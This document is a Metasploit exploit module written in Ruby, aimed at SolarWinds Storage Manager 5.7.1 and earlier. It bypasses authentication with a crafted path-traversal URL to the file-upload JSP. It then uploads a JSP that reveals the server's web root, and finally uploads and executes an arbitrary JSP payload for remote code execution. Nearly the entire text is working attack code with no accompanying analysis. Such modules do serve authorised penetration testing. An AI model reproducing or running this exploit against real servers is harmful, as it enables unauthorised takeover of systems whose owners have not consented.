SolarWinds Storage Manager Authentication Bypass

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'SolarWinds Storage Manager Authentication Bypass',  
'Description' => %q{  
This module exploits an authentication bypass vulnerability in Solarwinds Storage Manager.  
The vulnerability exists in the AuthenticationFilter, which allows to bypass authentication  
with specially crafted URLs. After bypassing authentication, is possible to use a file  
upload function to achieve remote code execution. This module has been tested successfully  
in Solarwinds Store Manager Server 5.1.0 and 5.7.1 on Windows 32 bits, Windows 64 bits and  
Linux 64 bits operating systems.  
},  
'Author' =>  
[  
'rgod <rgod[at]autistici.org>', # Vulnerability Discovery  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['ZDI', '14-299']  
],  
'Privileged' => true,  
'Platform' => %w{ linux win },  
'Arch' => ARCH_JAVA,  
'Targets' =>  
[  
['Solarwinds Store Manager <= 5.7.1', {}]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Aug 19 2014'))  
  
register_options(  
[  
Opt::RPORT(9000)  
], self.class)  
end  
  
def check  
res = send_request_cgi({  
'uri' => normalize_uri("/", "images", "..", "jsp", "ProcessFileUpload.jsp"),  
'method' => 'POST',  
'ctype' => "multipart/form-data; boundary=----#{rand_text_alpha(10 + rand(10))}"  
})  
  
if res && res.code == 200 && res.body && res.body.to_s =~ /Upload Successful!!/  
return Exploit::CheckCode::Vulnerable  
end  
  
Exploit::CheckCode::Safe  
end  
  
def exploit  
jsp_info = "#{rand_text_alphanumeric(4 + rand(32-4))}.jsp"  
print_status("#{peer} - Uploading Information Gathering JSP #{jsp_info}...")  
if upload(jsp_info, jsp_path)  
print_good("#{peer} - JSP payload uploaded successfully")  
else  
fail_with(Failure::Unknown, "#{peer} - Information Gathering JSP upload failed")  
end  
  
res = execute(jsp_info)  
  
if res && res.code == 200 && res.body.to_s =~ /Path:(.*)/  
upload_path = $1  
print_good("#{peer} - Working directory found in #{upload_path}")  
register_file_for_cleanup(::File.join(upload_path, jsp_info))  
else  
print_error("#{peer} - Couldn't retrieve the upload directory, manual cleanup will be required")  
print_warning("#{peer} - #{jsp_info} needs to be deleted manually")  
end  
  
jsp_payload = "#{rand_text_alphanumeric(4 + rand(32-4))}.jsp"  
print_status("#{peer} - Uploading JSP payload #{jsp_payload}...")  
if upload(jsp_payload, payload.encoded)  
print_good("#{peer} - JSP payload uploaded successfully")  
else  
fail_with(Failure::Unknown, "#{peer} - JSP payload upload failed")  
end  
  
if upload_path  
register_file_for_cleanup(::File.join(upload_path, jsp_payload))  
else  
print_warning("#{peer} - #{jsp_payload} needs to be deleted manually")  
end  
  
print_status("#{peer} - Executing payload...")  
execute(jsp_payload, 1)  
end  
  
def execute(jsp_name, time_out = 20)  
res = send_request_cgi({  
'uri' => normalize_uri("/", "images", "..", jsp_name),  
'method' => 'GET'  
}, time_out)  
  
res  
end  
  
def upload(file_name, contents)  
post_data = Rex::MIME::Message.new  
post_data.add_part(contents,  
"application/octet-stream",  
nil,  
"form-data; name=\"#{rand_text_alpha(4 + rand(4))}\"; filename=\"#{file_name}\"")  
  
res = send_request_cgi({  
'uri' => normalize_uri("/", "images", "..", "jsp", "ProcessFileUpload.jsp"),  
'method' => 'POST',  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'data' => post_data.to_s  
})  
  
if res && res.code == 200 && res.body && res.body.to_s =~ /Upload Successful!!/  
return true  
end  
  
false  
end  
  
def jsp_path  
jsp =<<-EOS  
<%@ page language="Java" import="java.util.*"%>  
<%  
out.println("Path:" + System.getProperty("server.webapp.root"));  
%>  
EOS  
  
jsp  
end  
  
end  
`